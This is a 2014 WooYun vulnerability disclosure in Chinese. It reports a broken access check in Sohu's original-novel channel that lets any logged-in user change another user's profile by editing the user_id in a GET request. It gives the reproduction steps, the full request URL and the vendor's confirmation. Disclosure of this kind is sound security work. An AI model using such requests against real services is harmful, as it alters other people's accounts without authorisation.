漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-067561
漏洞标题：搜狐原创小说频道平行权限导致他人资料随便改
相关厂商：搜狐
漏洞作者： 爱上电饭锅
提交时间：2014-07-08 11:46
修复时间：2014-08-22 11:48
公开时间：2014-08-22 11:48
漏洞类型：未授权访问/权限绕过
危害等级：中
自评Rank：7
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-07-08： 细节已通知厂商并且等待厂商处理中
2014-07-08： 厂商已经确认，细节仅向厂商公开
2014-07-18： 细节向核心白帽子及相关领域专家公开
2014-07-28： 细节向普通白帽子公开
2014-08-07： 细节向实习白帽子公开
2014-08-22： 细节向公众公开
简要描述：
资料修改没做权限check导致他人资料随便改。
详细说明：
原创小说频道，个人资料编辑功能存在漏洞，导致随意修改URL后可更改任意用户资料。
此case中搜狐用户ID为n位正数，可以任意遍历。而且修改资料的URL居然是HTTP GET，丝毫不用专业工具，IE搞定。
漏洞证明：
1. 注册两个搜狐通行证。
2. 到原创小说频道资料编辑页面（vip.book.sohu.com/user/index.php）随便编辑个人信息，保存，抓包。
3. 发现2抓的包里，提交个人信息用的居然是TMD的HTTP GET。
URL如下：
http://vip.book.sohu.com/user/user_edit.php?user_id={userid}&nickname={nickname}&nickname_s=true&passport_s=true&sex=1&sex_s=true&year=1900&month=00&day=00&birthday_s=true&zipcode=&zipcode_s=true&province=%CA%A1/%D6%B1%CF%BD%CA%D0&city=&country=&zone_s=true&qq=&qq_s=true&msn=&msn_s=true&mobile=&mobile_s=true&telephone=&telephone_s=trueµblog=µblog_s=true&mail=&mail_s=true&loveof=&loveof_s=true&lovebook=&lovebook_s=true&vita=&vita_s=true&Submit=%D0%DE++%B8%C4&d=Sun%20Jul%2006%202014%2000:00:38%20GMT+1200%20(New%20Zealand%20Standard%20Time)&pspt=undefined
4. OK了，记下两个用户的userid。全部登出。访问3的URL（userid改为新建的小号）。返回0。
5. 登录任意一个搜狐账户，再次访问3的URL，返回1。
6. 登录小号，资料已经改了。
修复方案：
不会php
版权声明：转载请注明来源 爱上电饭锅@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：15
确认时间：2014-07-08 14:40
厂商回复：
感谢对搜狐安全关注
最新状态：
暂无